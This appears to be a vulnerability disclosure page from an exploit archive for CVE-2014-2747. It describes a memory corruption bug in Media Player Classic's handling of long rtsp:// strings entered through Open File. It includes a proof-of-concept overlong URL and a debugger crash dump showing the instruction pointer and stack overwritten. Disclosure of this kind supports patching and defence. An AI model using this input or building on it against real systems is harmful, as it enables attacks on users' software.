Media Player Classic Memory Corruption

2014.04.21
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

# Exploit Title: [Media Player Classic Memory Corruption] # Date: [2014/04/13] # Exploit Author: [Aryan Bayaninejad] # Linkedin : https://www.linkedin.com/profile/view?id=276969082 # Vendor Homepage: [http://mpc-hc.org/] # Software Link: [http://sourceforge.net/projects/mpc-hc/files/MPC%20HomeCinema%20-%20Win32/MPC-HC%20v1.3.1249.0_32%20bits/] # Version: [Version 1.3.1752.0 and 1.3.1249.0] # Tested on: [Windows Xp Sp 3 Version 2002] # CVE : [CVE-2014-2747] details: The root cause of the vulnerability is related to handling the rtsp protocol in open file, when opening a file in media player classic, it's not able to parse the rtsp protocol with long strings correctly & caused a memory corruption vulnerability, this is due to the wrong parsing of rtsp protocol in OpenFile menu . rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Log data, item 0 Address=FEEEFEEE Message=Access violation when executing [FEEEFEEE] EAX 01EA5730 ECX 02E21840 EDX FEEEFEEE EBX 00000000 ESP 0012F6CC EBP FFFFFFFF ESI 012124E0 EDI 00000000 EIP FEEEFEEE C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty -2.8591239712727915520e+4908 ST1 empty -UNORM F700 0000002C 84F12DA8 ST2 empty 0.0194887299572376640e-4933 ST3 empty 1.5530773741217080320e-4124 ST4 empty +UNORM 6E64 00000000 B9EFA280 ST5 empty 1.0000000000000000000 ST6 empty 8000000.0000000000000 ST7 empty 0.0 3 2 1 0 E S P U O Z D I FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ) FCW 007F Prec NEAR,24 Mask 1 1 1 1 1 1 0012D58A 00410041 mpc-hc.00410041 0012D58E 00410041 mpc-hc.00410041 0012D592 00410041 mpc-hc.00410041 0012D596 00410041 mpc-hc.00410041 0012D59A 00410041 mpc-hc.00410041 0012D59E 00410041 mpc-hc.00410041 0012D5A2 00410041 mpc-hc.00410041 0012D5A6 00410041 mpc-hc.00410041 0012D5AA 00410041 mpc-hc.00410041 0012D5AE 00410041 mpc-hc.00410041 0012D5B2 00410041 mpc-hc.00410041 0012D5B6 00410041 mpc-hc.00410041 0012D5BA 00410041 mpc-hc.00410041 0012D5BE 00410041 mpc-hc.00410041 0012D5C2 00410041 mpc-hc.00410041 0012D5C6 00410041 mpc-hc.00410041 0012D5CA 00410041 mpc-hc.00410041 0012D5CE 00410041 mpc-hc.00410041 0012D5D2 00410041 mpc-hc.00410041 0012D5D6 00410041 mpc-hc.00410041 0012D5DA 00410041 mpc-hc.00410041 0012D5DE 00410041 mpc-hc.00410041 0012D5E2 00410041 mpc-hc.00410041 0012D5E6 00410041 mpc-hc.00410041 0012D5EA 00410041 mpc-hc.00410041 0012D5EE 00410041 mpc-hc.00410041 0012D5F2 00410041 mpc-hc.00410041 0012D5F6 00410041 mpc-hc.00410041 0012D5FA 00410041 mpc-hc.00410041

References:

http://sourceforge.net/projects/mpc-hc/files/MPC%20HomeCinema%20-%20Win32/MPC-HC%20v1.3.1249.0_32%20bits/
https://www.linkedin.com/profile/view?id=276969082


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top